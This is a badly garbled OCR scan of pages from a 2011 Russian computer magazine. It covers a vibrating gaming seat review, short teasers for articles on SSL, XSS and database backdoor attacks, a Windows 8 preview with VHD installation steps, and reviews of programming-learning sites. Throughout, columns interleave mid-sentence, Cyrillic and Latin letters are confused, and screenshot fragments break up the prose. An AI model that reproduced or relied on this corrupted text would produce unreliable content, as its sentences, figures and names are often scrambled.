не хватае т реалистичности в любимой игре? Ощущения не те? Нет тряски от взрывов,

Материал : ткань/кожзам Количество вибромоторов :

6

И нтерфейс : USB, 3.5 мм аудио Ко м пл е кт постав к и : накидка, блок питания, кабель USB

не шумит под натруженными ягодицами

Почему в начале статьи раз г овор за ш ел именно о танках? Д а потому что н аки д ка лучше

движок родного танка. На одних колонках

в сего работает с русской онлайн-игрой Woгld

да 3D-картинке далеко не уедешь, реализ-

of Tanks !тематика Второй мировой]- WoT на­

ма в игры эти технологии добавляют, но не

тивно поддерживает вибронакидку. Ввиду этого

настолько, чтобы проникнуться процессом.

накидка попала ко мне в руки сразу же, как

Вибрирующие джойстики оставим казуалам­

прие ха ла в редакцию- сказалось увлечение

настоящий танкист управляет машиной ис­

бронетехникой и вышеу п омя н у т ой игрой.

ключительно при помо щ и клавиатуры и мыши.

В ходе тестирова н ия почти было смутил

д чтобы ощущения от боев были приближены

один момент- у Gametгix Тгuе

к боевым, рекомендуем тебе завести крайне

пред усмот рены специальные ремешки для на­

необычный девайс- вибронакидку Gametгix

дежного крепления к классическому компью­

Тгuе

терном у креслу, однако мое домашнее кресло

live sense.

С одной стороны все понятно: перед нами

live sense

совсем не является компьютерным. Кресло

накидка, и она вибрирует. С другой, непо­

как кресло, но и на нем накидка д ержалась

нятно- как вибрирует, куда вибрирует ?

очень надежно.

Все очень просто- Gametгi x являет собой прокладку между

...

нет, не сиденьем и рулем,

а между компьютерным креслом и, собствен­

Простая и быстрая ус тановка драйверов, за­ пуск игры, в которой автоматически включились

нужные настройки , бой. Авторитетно скажу­

но, игроком. Обшита прокладка либо тканью

накидка Gametгix, конечно, д алека от реальных

!вариант подешевле], либо кожзамом lпре­

ощущений в танке . Но, тем н е ме н ее, эт о един­

зентабельней] . Внутри же установлены шесть

ственное и лучшее решение для того, чтобы

вибромоторов- как в мобильнике, только

почувствовать себя механиком-водителем. При

гораздо больше и мощней. Часть расположена

езде танка накидка тихонько вибрирует. При

в районе спины, часть- в районе пятой точки.

стрельбе или по п адании снаряда в танк проис­

Собственно, это и есть так называемая <<об­

ходит виброудар.

ратная связь>>- на манер виброджойстиков. Только действует несколько иначе. К компьютеру накидка подключается двумя способами -либо по

022

при жела нии можно вытрясти себе всю тазобе­ дренн ую часть.

USB, либо через аудио­

Вибра ц ия н е постоян н а и при движении как бы перетекает от поясницы ниже и обрат н о. К вибрации быстро привыкаешь и перестаешь ее замечать - казалось бы, минус . Однако

разъем. В первом случае вибрацией управляют

Gametгix выполняет очень полезную функцию­

драйвера и сама игра, во втором проис хо дит

не даеттелу затекать. Как только отключаешь

простая фильтрация низких частот. Грубо

накидку, сразу уд ивляе ш ься, как не п риятно

говоря, вибрация включается в играх и музыке

стало играть без виб р ации. П ривыкаешь, и

от басов !хитрая идея- сажать на кресло

отказываться не хочется . Хорошо, что и цена на

девушек и включать Satisfaction]. С nомощью

накидку Gametгix очень небольшая. Несовер­

комплектного регулятора силу вибрации можно

шеннолетние танкисты будут рады. Совершен­

подкорректировать- мощь моторов такова , что

нолетние - тем более . :Х:

ХАКЕР

11/154/2011


Preview

32 страницы журнала на одной полосе. PC_ZONE и ВЗЛОМА .

Тизер некоторых статей из

взлом

ЗВЕРСКИЙ УГОН SSL-KYKИCOB Е ще в 2004 году Грегори В. Бард подробно рассказал о фундаментальной уязви­ мости в про токолах SS L З.O и TLS 1.0. Но так как в его работе было множество д о­

D

известные байты , добавленные браузером

D

известные байты, которыми управляет злоумышленник

размер блока =

8

неизвестные байты, которые злоумышл е нник хочет расшифровать

п у щ е н ий, найде нн ая бре шьдол г ое в р емя оставалась чисто теоре т ической. П ереве ­

граница блока

с т и ее в разряд практически реализуемых лишь недавно удалось аргентинским

1

хакерам. Написанная имиутилита менее чем за

BEAST 2 минуты расшифровавала

tp

IAIAt AIAIAIAI

1

граница блока

секре т ную кукисус ин дентификаци­ онной сессией

граница блока

PayPal, п ере данную по

защищенному соедине н ию. Учитывая, ч то большинство ресурсов по-прежнему используетстарые версии протоколов и

у~- - ·~

не поддерживает их новые версии, легко можно пре д ставить , сколько ш ума н а­ делала эта атака.

PCZONE

WINDOWS 8: ЧТО НОВОГО Компания Microsoft продолжает делиться

SUBLIMEТEXT 2, ИЛИ КУНГ- ФУ КОДИНГ

30

Какимдолжен бытьправильный редактор

OX,SSЗ- I NTERCEPTER

36

Созда тельубойного снифера под Windows

наработкаминовыхОСза долгодоих

ко да? У создателей этой программы свой

рассказал нам о новыхтехниках МIТМ­

релиза. Черновик буду щей Wiпdows8 нас

взгл яд на этотсчет, который пришелся по

атак, в том числедля перехвата па ролей,

местами приятно удивил.

вкусу программи с та м по всему миру.

которыедолжны передаваться пoSS L .

IFRАМЕ:ЗАЩИТА И НАПАДЕНИЕ Напальцахразбираемся,каксвязаны

XSS: КРОСС-САЙТИМ НА ПОЛНУЮ 1О способов обхода по п уляр н ых филь­

междусобой понятия

тровХSS-уяэвимостей,6 п рин ц ипов

взлом

• ХАКЕР

БЭКДОРВБД

Интересный концепттого, как с помо щ ью стандартной функциональности

MySQL

можно оставить лазейку в системе, кото­

рую не всегда легко обнаружить.

11 / 154/2011

iframe, траф и за­

грузки. Откуда берется и как монетизиру­

работы с ними,

ется трафик ?

вания.

4 способа использо­

023


В

Microsoft,

похоже, решили

повторить сценарий, успешно

отработанный на сделали раннюю

dows 8 доступной

Windows 7, и сборку Winдля установки

WINDOWS 8 И Горячие клавиши

Windows8: bjЦy/mXPxyQ Патч, отключающий

oper Preview

своими руками.

самое важное, что произо шл о в новой системе,- это появление нового интерфейса Меtго

bjЦy/nNzaN8

и оптимизированного для управления с помощью сенсорного экрана.

Ul,

не имеющего ничего общего с прежним,

Новшество пускай и радикальное, но для нас пока не с толь полез­ ное. Перед командой разработчиков и дизайнеров стоит непростая

за дача : сделать переключение между простым Меtго-интерфейсом

собой, тут же решили пощупать

Windows 8 Devel-

-Microsoft всерьез решила сделать Windows уд обной системой для планшетных устройств. Поэтому

MetroUI:

всем желающим. Мы, само

нововведения

ПЛАНШЕТЫ

Главное , во что надо поверить,

Горячие клавиши

Windows8: blЦy/mXPxyQ Патч , отключающий

Metro Ul: bjЦy/nNzaN8

и традиционным рабочим столом

Windows как можно более легким и

незаметным. Все это подчинено одной цели: чтобы новую ОС можно было использовать и там, и з де сь. И на десктопных компьютерах,

и на ноутбуках, и теперь вот планшет ах. На последних, к слову,

Windows 8 уже работает. Н а конференции BUILD, где представляли Developeг Pгeview, были показаны ус тр ойст ва, базирующиеся на процессаре

Control Panel

Personalize

ARM.

METRO Ul Новый интерфейс

Metro Ul- первое,

что ты видишь при загрузке

системы . И это главное нововведение, признаться, пеначалу пугает. После загрузки ты видишь не привычные иконки рабочего стола, а Users

пестрые ком пон енты и виджеты нового

Wiгeless

брат-близнец нап оминает интерфейс

Home Sсгееп'а, который как Windows Phone . Если бы ты

работал на планшет е, удобно было бы с краллить полоску с компо­ Notifications Privacy

-

General

нентами вправо-влево . Компоненты, как правило, представляют со­

бой ярлык для запуска приложения, но некоторые могут отображать информацию или оповещения, связанные с программой. Они имеют

разные размеры , их можно перемещать как угодно. Клик по любому

при л ожению !скажем, RSS-аггрегатору новостей! открывает его Search Share Панель уnравления

02~

на весь экран !чтобы закрыть его и вернуть обратно, используется клавиша Winl. Все элементы увеличены и максимально заточены nод то, что взаимодействовать ты с ними будешь пальцем. Короче говоря, получился эдакий у голок для планшета. Поль зов аться на обычном

ХАКЕР

11/154/2011


Windows 8: что нового?

Metro Ul

компьютере ты им едва ли будешь. Однако любое устано вленное

версии

приложение, для обычного интерфейса или Меtго

ста тистика такова, что юзеры исnользуют этот элемент интерфейса

Ul,

попадет в этот

Windows

и как пришло к своему логическому концу. Сейчас

новый экран «Staгt». Главное для нас сейчас, что здесь же есть за­

все реже и реже. Приводится подробная с татистика: даже просто

мечательный компонент

открывать меню в

<< Desktop»,

который открывает ... привычный

Windows 7 стали

на

11%

меньше, чем в

Windows

интерфейс Винды. Слава богу:). Двигаемся дальше , потому что Меtго

Vista.

Ul лучше увидеть Youtube'a .

<<Пуске>>, а делают это в таскбаре. Собственна, последний теnерь и

своими глазами, пусть даже на видеоролике с

будет выполнять обязанности инструмента для запуска приложений. А кнопка <<Staгt>> будет открывать тат самый Меtго

ДЕСКТОПНЫЙ ИНТЕРФЕЙС

Ul,

о котором мы

толькочто говорили.

Итак, рабочий с тол никуда не делся. Спасать его не надо. Перейти в традиционный режим можно и по хоткею

Поль зователи практически не прикреnляют программы в

Win

+М. Но не спеши нажи­

мать на кнопку <<S taгt >>, иначе сис тема опять вернеттебя в Меtго

Ul.

Если навести мышкой в левый нижний угол, появится новое

меню, откуда можно быстро вызвать упроще нные настройки !кстати , именно сюда за прятали кнопку для выключения компьютера­

Все потому что меню << П усК>> в том понимании , к которому мы все nри­

бьюсь об заклад, что ты будешь ее искать), уnравлять д евайсам и,

выкли, скорее всего в системе уже не будет. В благах

MSDN

расшаривать данные или выполнять nоиск . Переработа н так же

l y/г0SCC4 ) подробно рассказывается о том , как в

году впервы е

1992

l http :U Ьit .

появило сь меню <<Staгl>>, придя на смену <<Менеджеру программ >> из

Windows

З.х, оно как изменялось и nерерабаты валось от версии к

Доnолнительное меню

ХАКЕР

11/154/2011

режим для работы с двумя мониторами . По умолчанию он показывает Меtго

Ul

на одном дисплее и рабочий стол на втором. Если включить

на обоих мониторах обычный десктоп, можно видеть, что в

Новый

Windows

BSOD

025


PCZONE

r-------Vft -tndo~TaskM~a~n~a~g~e~r====~=~~§~~~

БЫСТРЕЕ ИЛИ НЕ БЫСТРЕЕ? Впрочем, первое, на что обращаешь внимание в

Dropbox (32 bit) Google Chrome (32 bit)

Windows 8,- это

время загрузки системы. Система грузится гораздо быстрее, и это з аметноневооруженным взглядом.

Microsoft

lightscreen (32 bit)

несколько раз заявляла

о различных оптимизациях в производительности

Windows 8.

Раз ­

Microsoft Security Client User In ...

работчики рассказывают, что им удалось сделать фундаментальные улучшения. Если

и

32

Мб и

Windows 7 SP1

при запуске использует около

запущенных процесса , то текущая версия

29

Windows 8-

Мб

404

всего

.' PhraseExpress (32 bit)

271

процессов. авеклокеры из Lifehackeг.com решили проверить

честность этих заявлений

[lifehac.kr/oA2pOPI и провели несколько i7 3.8 Г Гц с 6 диском на 2 Тб и видеокартой Nvidia GeFoгce

@

простых тестов на довольно хардкорной системе: Саге Гб оперативки , жестким

9800

fndTask

More details

GТ. Результаты представлены в таблице. Упрощенный менеджер задач

W1ndows 8

Windows 7

Время загрузки

0:10

0:35

Сжатие файла [-700Мбl

0:29

0:32

Распаковка файла

0:11

0:12

Кодирование фильма в Handbгake

8:06

8:15

Запуск

0:46

0:46

0:07

0:07

6470

6455

9

[ -700 Мбl

приложений

Открытие

Результат в

вкладок в Chгome

3dmark10

8

панель задач наконец отображается не на одном мониторе, как это

было раньше, а на обоих [раньше я для этого использовал специаль­ ную ту л зу

MultiMonitor TaskBaгl. Плюс к этому система поддерживает << dual monitor >> для рабочего стола. Короче говоря, изменения в интерфейсе Windows 8 коснутся не только пользовате­ лей планшетников. К новому интерфейсу Metro ребята из Microsoft обновили и святая святых- синий экран смерти. Он же BSOD. Он же Blue scгeen of death. Все, что теперь отображается,- это грустспециальные обои

ный смайлик и сообщение о том, что в системе возникла проблема,

поэтому компьютер необходимо перегрузить

:1.

И мелким шрифтом

обозначена очень обтекаемая формулировка проблемы, вроде

HAL_

INITIALIZATION_FAILED.

НОВЫЙ WINDOWS EXPLORER

Получается , что самые серьезные оптимизации косн улись

процессазаnуска системы. Он стал в

3.5

раза быстрее [считалось

Серьезно изменился облик многих привычных компонентов системы,

время от экрана загрузки системы до появления рабочего стола!.

в частности

Во всем остальном особого прироста н е т, но заметь, учитывая все

получил RiЬЬоп-панель, как в

новые на вороты -хуже не стало. Наверное, и это неплохо

:1.

Windows

Ехрlогег. Стандартный файловый менеджер

Office 2007/ 2011. Для разных типов

файлов в этой панели отображаются соответствующие вкладки. Например , если кликнуть на файл с и з ображением, то во вкладке

<< Manage >> ~ File:

Options

.,,_

o .l.~ lllf3iil

Windows Taslc Manager

1Processes.li Performance 1Арр History 1Startup 1Users 1Dotails 1Servi<:os 1 Proc~

0% CPU

73%

~

тись без утилит вроде

0%

0%

Disk

Ndworic

Вackground

пользователя, так и админа. Сильно изменилось диалоговое окно

8.7 МВ

О МВ/s

с которой копируются файлы. Если в данный момент выполняет-

OMbps

ся несколько операций, то одну из них можно остановить, чтобы

D-

(!] AntimllwAn: Servke: Exec.ut-

0%

17.7МВ

ОМВ/s

OMbps

О.

!!J

0%

5 .6МВ

О МВ/s

OMbps

0%

l l MB

ОМВ/s

OMbps

• (!] Spooler SubSystem дрр

для копирования / перемещения файлов. Если включить отображе­ ния деталей, то можно увидеть симпатичную диаграмму и скорость,

0%

proresses (3)

Microsoft Vlindows Se11rch ·-

Climt Ser-.'8 Runtime: Proc_

конфликтных ситуаций. Система теперь отображает старые и новые брать файлы для замены было максимально удобно. А если речь идет об изображениях, сразу же показываются и их превьюшки .

0%

l.OMB

ОМВ/s

OMbps

{!J Client Sttver Runtime Proc-

О%

О.бМВ

ОМВ/s

OMbps

(!] lnsktop Wmdcw M•n1g.er

0%

33.6 МВ

ОМВ/s

OMbps

Г!] НоЯ Proci!Ss fог \Чindows -·

0%

0.9МВ

ОМВ/s

OMbps

f!3

Host Process for Windows -

О%

7 .0МВ

ОМВ/s

OMbps

r!J

Нort Process for Ylindows -

О '\

2.2МВ

ОМВ/s

OMbps

~ Fewerdmils

расставить приоритеты. Кстати , намного удобнее стала обработка файлы с одними и теми же именами в виде двух столбцов, чтобы вы­

Windows processes (22)

!!J

fndTиk

НОВЫЙ МЕНЕДЖЕР ЗАДАЧ Не самым кардинальным, но совершенно точно значимым ново­ введением

Windows 8 стал

026

переработэнный таск-менеджер . Когда

запускаешь его в первый раз, зрелище может слегка удивить. По умолчанию запускается очень упрощенная версия менеджера задач,

с помощью которой единственное, что и можно,- это выгрузить

,

ненужные приложения. Вместо кучи разных вкладок ты увидишь

простой список запущенных nриложений и одинокую кнопку

Task >>. Если

<<End

попытаться выгрузить из памяти Меtго-приложение, оно

перейдет в режим Новый таек-менеджер

UltraiSOI. Обновилось и меню <<File >>. Теперь из

текущей папки можно запустить командную строку- каксправами

-:-

Applications (1) r. f8 \• tndows Тask M1n•ger

с тупны кнопки для монтирования его в виде логического диска или

записи на болванку [ура, и для того и для другого теперь можно обой­

Holp

'

буд у т отображаться кнопки для выполнения некоторых

основных преобразований . А, к пример у, для 150-образа б удут до­

<< suspended >> [это происходит потому, что такие

приложения не выполняются в фоновом режиме и не потребляют

ХАКЕР

11 / 154/ 2011


Windows 8: что нового?

БЕЗОПАСНАЯ УСТАНОВКА WINDOWS 8 НА ВИРТУАЛЬНЫЙ ЖЕСТКИЙ ДИСК Если ты хочешь по играться с новой системой

Создать и присоединить виртуальный жеспсий диск

без ущерба основой ОС, у тебя обычно есть два варианта :

1. Виртуализация . Устанавливаясистему под виртуалкой, ты обрекаешь себя на то,

Укажите расnоложение вир-туального жесткого J»~tcкa на

что работать она будет... медленнее . Даже

комnьютере .

если платформаподдерживаетаппаратную

Расnоложение :

виртуализацию, ресурсы компьютера будут разделяться междухостовой и гостевой ОС .

Обзор ...

0:\Virtual Machines\ 1Nin8.vhd

2. Dual-boot. Ничего не стоитустановить Windows 8 на компьютер, где уже работает, скажем, <<семерка >> . Главное условие- ин­

сталлить новую ОС на отдельный раздел [или

Размер вирl}rального жес11<ого J»~~СКа :

жесткий диск! . Но возиться с бутлоадерами и созданием нового раздела неохота. Всегда

Формат вир-туального жесткого J»~tcкa

есть вероятность, чтоэкспериментпревра­

~ ~намическое расширение

тится в море крови.

С появлением

Размер этого виртуального жесткого J»~~СКа расширяется JJf)

Windows 7 существует еще

фИксированного максимального размера

один вариант. Установить систему на вирту­

нения на нем

альный жесткий диск- VHD IViгtual Нагd Drive

Filesl . Система видит такие файлы как находя­ щие с я на самом обычном диске, хотя на самом

ых. П

no мере

лении

Создание виртуального жесткого диска

деле они живут внутри .vhd-файла. Получается, что идеальный вариант- поставить систему на

То же самое можно сделать через <<Управле­

что это хороший расклад, потому что, если

такой виртуальный жесткий диск и работать на

ние компьютером >> . Надо выбрать в дереве:

аналогичный фокус провернуть с <<семер­

своем основном компьютере, не рискуя убить

<< Запоминающие устройства

напрочь основную систему. Так и сделаем.

дисками >>, далее меню << Действие

1.

-7

Управления

-7

кой >>, придется дополнительно ковыряться

Соз­

с загрузчиком , чтобы тотувидел систему на

дать виртуальный жесткий диск >> . Главное

VНО-диске. Тутустановщик все сделал сам.

Нам понадобится много свободного места,

выбрать динамический тип виртуального

Мелочь, а приятно

чтобы создатьжесткий диск. Скажем ,

диска.

60 Гб .

Справедливости ради стоит сказать , что

Если будетсильно меньше, то будь готов к про­

блемам вроде неожиданного

BSOD.

:1.

4.

2. Для установки нам понадобятся образ Windows 8 Developer Preview. Мы как обычно

Далее загружаемся с нашей флешки, и т у т

можно и вовсе обойтись без флеwки или за­

первый важный момент. Необходимо вы­

грузочного

брать режим инсталляции

<< Custom >>, иначе

DVD . Идея такая: 1. Создать VНО-диск; 2. Скопировать на него все содержимое устано­

можем установить его с загрузочногодиска

установщик снесеттвою основн у ю систему .

или флешки. Мне нравится второй вариант,

Я тебе предупредил. Далее следующий

тем более что всю работу по переносу файлов

важный момент. Установщик предложит

из образа на флешку и настройку на ней за­

тебе выбрать раздел для установки системы.

восстановления lno клавише FBI и войти в

грузчикавозьметнасебяофициальнаяутили­

Так вот- не надо ничего выбирать! Надо

существующую систему. Нам нужно примон­

та от Microsoft- Windows 7 USB/DVD download

открыть консоль [Shift + F1 Ol , запустить

тировать наш

tooii Ьit.ly/пYylp9l.

утилиту

новщик. Делаем зто опять же через консоль и

3. Далее нужно создать виртуальный жесткий

diskpart и примонтировать недавно

вочного образа.

3.

Перезагрузить компьютер, войти в консоль

созданный VНО-контейнер:

diskpart:

DISKPART> select vdisk file="d:\Virtual Machines\Win8.vhd" DISKPART> attach vdisk

Win8.vhd

VHD и запустить оттуда уста­

диск , на который мы будем выполнять уста­ новку. Для этого открываем консоль от имени администратора и запускаем утилиту diskpaгt:

DISKPART> select vdisk file=d : \VMs\ DISKPART> attach vdisk

C~\Windows\system32>diskpart

Далее переключаемся по

Microsoft DiskPart версии 6.1.7601 На компьютере: THISISSTATION

<ALT-TAB> обратно

Перед выполнением команды лучше запу­

к выбору раздела для установки и обновляем

стить какую-нибудь программу [например,

список. Теперь ты должен увидеть раздел, у которого будет нужный нам размер. Мастерустановкипредупредиттебя,что

DISKPART> create vdisk file="d:\Virtual Machines\Win8.vhd" type=expandaЫe maximum=60000

не сможет установить систему на этот диск .

Врет зараза! Просто на жмиОКипродолжай установку.

notepadl и убедиться, что буквы дисков не поменялись [например , d: не стал f:l. 4. Теперь можно запускать установщик: f:\setup. Здесь !:-буква примонтированного VHD . 5. Чтобы не убить напрочь систему, важно вы­ брать вариант установки <<Custom >>. Благо­ даря этому, мы сможем выбрать раздел , на

После окончания установки и перезагрузки

который будет осуществляться установка.

ты увидишь совершенно новый графиче­

Надо ли говорить, что этим разделом должен

Файл виртуального диска успешно

ский бутлоадер с новым злементом меню

быть наш VHD? :1

создан с помощью программы

для выбора wскать систему! Надо сказать ,

Завершено (в процентах):

ХАКЕР

11 / 154/ 2011

100

DiskPart.

5.

027


PCZONE в менеджере задач еще лет десять назад, но появилась сейчас- и

ВОЗМОЖНОСТИ ДЛЯ ПРОГРАММИСТОВ

это уже хорошо . В самом деле, всегда было понятно, что возможность

убрать лишнее из списка приложений, которые запускаются вместе с системой, должна быть прямо в менеджере задач. И вот свершилось.

Дожили! :] Для создания приложений для Windows 8 теперь

LOCK SCREEN

И СИНХРОНИЗАЦИЯ

можно использовать довольно неожиданные варианты : например,

Новый lосk-скрин намного интереснее своего унылого предше­

HTML5 + Javascript. Но что еще более важно- это появление WinRT- своего рода замены устаревшей во многих отношениях Win32. Он предоставляет собой современный API для множества функций, которые ранее представлял только Win32 API. Его нельзя рассматривать как замену Win32, но вполне можно считать

ственника. На красивой картинке разбросаны виджеты с полезной

альтернативой. Особенности:

вариант входа в систему-<< nараль из картинки » . Идея в том, чтобы

информацией вроде текущего времени и количества непрочитанных сообщений. Опять не обошлось без заточенности под планшетни-

ки: чтобы разблокировать систему, необходимо пролистнуть экран вверх. Помимо обычного ввода пароля, есть довольно любопытный

Реализует новый интерфейс Metro;

не вводить символьный

Имеет простую модель создания Ul для разработчиков lне

последовательности нажать на строго определенные ее части.

PIN, а, глядя на картинку, в правильной

нужно больше ковыряться как с Win32];

Надо ли говорить, для чего это может понадобиться? :] Для входа в

Все API разработаны как асинхронные;

систему теперь можно использовать

API выполняются в SandBox'e !поэтому создание с помощью WinRT низкоуровневых программ, скажем, для разметки

ста. Если покопаться в настройках, нельзя не заметить раздел <<Sync

диска, будет проблематично].

стройки с другими девайсами

•'

Home

РС Settings ». Это новая фича, позволяющая синхронизировать на­

Windows 8, используя аккаунт Windows Live 10. Чтобы иметь одинаковые настройки на разных компьютерах, достаточно использовать для входа один и тот же аккаунт Windows Live. Заметь, что возможность входа по обычным, то есть локальным

Temp Share

Windows Live 10, и это неспро­

Dosc

View

lm ag ~

Tools

Acttons

учеткам, сохранилась. Помимо настроек через облако могут быть синхронизированы также адресная книга, фотографии, данные из

SkyDrive .

БОНУСЫНАПОСЛЕДОК Сценарий, когда смелым пользователям предлагается по играть с новой системой и косвенно повлиять на то, что будет реализовано в

релизе, очень радует. Очевидно, что в Windows 8 сохранится преем­

it l

ственность, но появятся и новые кардинальные функции . Уже сейчас

• Computer • Local Oisk (С:) • Т emp

изменений довольно много, и это даже не бета-версия. Напоследок хочу перечислить некоторые другие бонусы, о которых я не расска­

Name

[L test Librari es

1 Oocuments Jt Music .!!!!] Pictures Videos Доработки проводника

зал в рамках материала:

В Metro Ul уже доступна иконка магазина приложений. Кажется, Microsoft сделал его самым последним. Да и то WindowsApp Store пока не работает в DeveloperPreview. Но когда магазин, наконец, ста­ нетдоступным,черезнегоможнобудетпокупатькакприложениядля

планшетников, так и традиционные десктопные программы. Чтобы попастьвкаталогприложений,нужнобытьподписчиком. Проверкаорфографиитеперьработаетповсейсистем~неэависимо

отприложенияlда-да,радиэтогоприходилосьустанавливатьдопол­ нительныеутилиты]. Другая интересная фича- Refresh Your РС -позволяет вернуть системувизначальноесостояниепонажатиюоднойкнопки.Неужели большенепридетсяпереустанавливатьсистему?Интересн~чтомож­

ресурсы]. Есть и полноценный таск-менеджер. Нажав на кнопку

нонетольковернутьсяксостояниюпослеустановки,ноиустановить

«Маге details>>, ты увидишь старый добрый менеджер задач, который,

несколько геfгеsh-точек-своеобразных образов, которые можно

наконец-то, серьезно прокачали. Так, список задач во вкладке

накатить на систему. :Х:

«Processes >> теперь наглядно делится на категории: приложения и фоновые процессы. Как и прежде, для каждого отображается коли­ чество потребляемых ресурсов- процессара и оперативной памяти, но теперь дополнительно отображаются еще индикаторы дисковой и сетевой активности. Причем ячейки в таблице меняют цвет в за­ висимости от интенсивности использования ресурса, поэтому сразу

видно, где «гад сидит » :] . Прожорливый процесс тут же можно не просто выгрузить, но еще ... перезапустить !просто, но как удобно!]. Утилита <<Performance » также получила совершенно новый внешний облик в стиле Metro Ul, и диаграммы потребления разных ресурсов теперь выше всяких похвал. Впервые появилась вкладка <<Арр

History»: на ней отражается статистика используемых тобой при­ ложений. Причем для каждого подсчитывается суммарное количе­

ство потребления !например, процессарного времени] . Вероятно, эти данные могут быть полезны, чтобы оптимизировать время работы

от аккумулятора !отказавшись от каких-то особо требовательных к ресурсам приложений]. Вкладка <<Startup » должна была появиться

028

Попр о буй найди кнопку для выключения

ХАКЕР

11/154/2011


n -60 , • • ,

GnhlgSIIIIN_PfoOo....,. • L - 1

,

}

1

~

s •

1

~ ~

CODECADEMY www.codecademy.com Каждый, кто изучал какой-нибудь язык программирования, знает, каким утомительным

Confirm or Deny

может стать чтение сухой литературы. Хочется попробовать новые знания здесь и сейчас,

"' '· ~·Dooor

., ;r. c,.... ,_o-

не прыгая туда-обратно от чтения к реализации примеров. Недавно появившийся сервис

", ........... '""' ., ..... 11)'•-111'

Codecademy (академия программирования) пытается решить эту проблему, предлагая

••••••"'"•·-·--~

1)'11018 &.1• •~1 ·-·-··-- ·

... . .." , ••••••• ,тrРС•а.

rон .... , ... ж~J-.. . . ""-•t-н.-· "' •~•

- • -.ot• •••

интерактивный интерфейс для обучения программированию (пока только JavaScгipt) . Идея -сделать процесс максимально интерактивным . Теория выдается очень маленькими

•1

порциями, но главное : ее сразу предлагается проверить в интерактивной консоли. Пока не поймешь и не сделаешь все правильно, сервис не пустит на следующий шаг. Академия следитза прогреесом и выдаетнаграды а-ля Fouгsquaгe . И нтерактивны й уч е бни к nро г р амми рован и ю

SHOWMEDO

Ш Most Viewed Video Tutorials

в

~-;~:..

OpenStreetMap lntroductfon

Leltrn Ojanao: crute а Wlklln

steve

TOI)ICS cover ed

Siddhi lnthis tutone l, I •ntroduce the besics of DJango Ьу wa lking you throughthe

tndud e us{ •.. )

development { ... )

А.

tntrvduttion to using e nd getting st:erted W!th Opt:nStre etМ ap.

0~А

first Jltva

progrllm fn John Montoomery In this ShowMe OO John dernonstrates how tocreate е projecttn Edipse, thenwnte and run ( ]

...

-

~ -

7-zip cornpress files

Oat how to c:ompre ss files us•ng 7·ZIP

showmedo.com

Есть еще один способ научиться азам(!) программирования, не заглядывая в мануал. Суть хорошо иллюстрирует старая добрая поговорка «Лучше один раз увидеть, чем сто раз

услышать » . Есть немало сервисов (вроде peepcode.com или dest гoyallsoftwa гe . com ), которые за н ебольшуюденежку предоставляютдоступ к хорошо снятым скринкастам, в которых гуру-кодеры делятся решением конкретных задач. Видео с живым человеком -это уже не сухая статья, а наглядное видео с комментариями понимающего человека . Что называется , смотри и учись. ShоwМеDо-этотоже сборник видеокасто в для программистов, но разви­ вающийся за счет энтузиастов, а потому на 100% бесплатный. В приоритете Pythoп : только для н егоздесьвыложеноболее600роликовнараз н ые т емы.

В и део к асты для про граммистов

SECURITYTUBE www.secur jtvtube.net Раз уж мы заговорили про скринкасты, с нашей стороны грех не упомянуть профильный pecypc-SecuгityTube . Это, бесспорно, самый большой агрегатор видео на тему инфор­ мационной безопасности. Да, туттысячи трешовых роликов, снятых индусами на кривом

_.,-.

......... _

английском и показывающих, как запустить Metasploit. Ну и ладно. Зато здесь же хостится огромное количество видео с различных конференций, скринкастов от известных людей в

fllt~Uc-

области ИБ, сотни демонстраций различных техник, сплоитов, X-Toolz и РоС' о в. Естьдаже

~ - -- (Jiкtll• )\)10)

.,

Ро

целые тематические подборки ви д ео, на п ример, по ауд иту бес пр оводных сетей. Кстати,

,,..,..,29_..... _

...... ....

если поискать, то легко находятся и некоторые наши Vis uaiHack++ :).

Аггрегатор хак -в и део

1 ' r _н _t(tl_t 1 _11 1 _ ,-, _ 11\ " - \ 1 1 - - 11 1 1 1 1 1 t\ \1 1 \\\11 ttttl 1111111\ 1_1~,_,_11 -= 11_11_1_1-

v

,_:_,..:._1 '-"-'

[!!!!)

НЦ11 -'11"'~~~~·.

hЬ11CI

1 1 1 1

DJU\If A8otJТ

ASCIIFLOW www.asc jiflow.corn

rJ

~~~~~~~~~

Очень забавный сервис. По сути, это редактор блок-схем, но с одним огромным отличием от, например, Visio . Вместо обычных графических элементов здесь используются исклю­ чительно символы из Аsсii-таблицы. П олучается полезный Ascii агt. Доступных элементов

1 ••ж•а~ tlooo 1 1-------------------1

'' 1

...,''

-----~·

1 1 1 1

1 1 1 1 1 ·---------·----·----·

____ _L_________ '

___ t t 1 1

пока не очень много, но даже существующего набора достаточно, чтобы нарисовать слож­ ные блок-схемы . Элементы после появле н ия на полотн е н е п р евращаются внеу п равляемый набор символов. Их можно перемеща т ь, указывать связи меж д у ними с п омо щ ью интерак­

________L_____.

тивных стрелочек. Зачем нужны Аsсii -диаграммы? Д а ни за чем:). Нажав на к н опку «Ditaa!»,

'

ты получишь уже нормальную графическую схему.

Ре д акт ор бло к- с х е м

ХАКЕР

11 /154/20JJ

029


PCZONE

Степан

«Step» Ильин [twitter.com/stepahl

SuЫime Text 2, ИЛИ кунг-фу КОДИНГ ПРАВИЛЬНЫЙ РЕДАКТОР КОДА ДЛЯ ПРОГРАММИСТА Если бы полгода назад меня попросили посоветовать

• Форум

редактор кода, то под

с больш им

n

количеством

олно ц енного релиза SuЫime

www. suЫ j mete x t .

Nukem

шn.lf=

вторую версию

а под Мае- легендарный

TextMate.

Сегодня я ответил

бы всем : SuЫime

Text 2. И

не

только потому что он кросс­

limeText:

Полезные плагины :

не было, но с каждым

работч ики крепко взялись за создание убийцы

Windows я бы предложил Notepad++, под Linux- gedit,

обсужденийя и плагинов для Sub-

Text 2 еще

новым билдом редактор обрастает новыми фишками . РазTextMate,

который п ользуется бешеной популярностью среди программистов под Мае, но давно кардинально не обнов ля ется. Поклонники шутят:

Duke

Fогеvег и тот вышел раньше, чем п ользователям п редложили

TextMate. Вокруг SuЫime Text, напро т ив,

собирается

большое сооб щ ество программистов . Их легко понять: когда привыка­

wboпd . пet/suЫime

е ш ь ко всем фишкам, предлагаемых редактором, с т рудом представля­

~

ешь, как без них обходился ра н ее. Редактор радует буквально всем, а если чего-то и не хватает, то это без труда можно доставить с помощью расширений, которых становится все больше и больше, опять же за счет профессионального сообщества. По иронии судьбы, работает он

платформенный, а потому что

не только под Мае, а под всеми популярными платформами. И это одна

это супер-редактор с целой

из главных его киллер-фич .

дюжиной убойных фич .

КРОСС-ПЛАТФОРМЕННОСТЬ Text никогда бы не завоева л такой популяр­ ности, если бы не разрабатывался для Windows, 05 Х и Linux одновре­ Что ни говори, а SuЫime

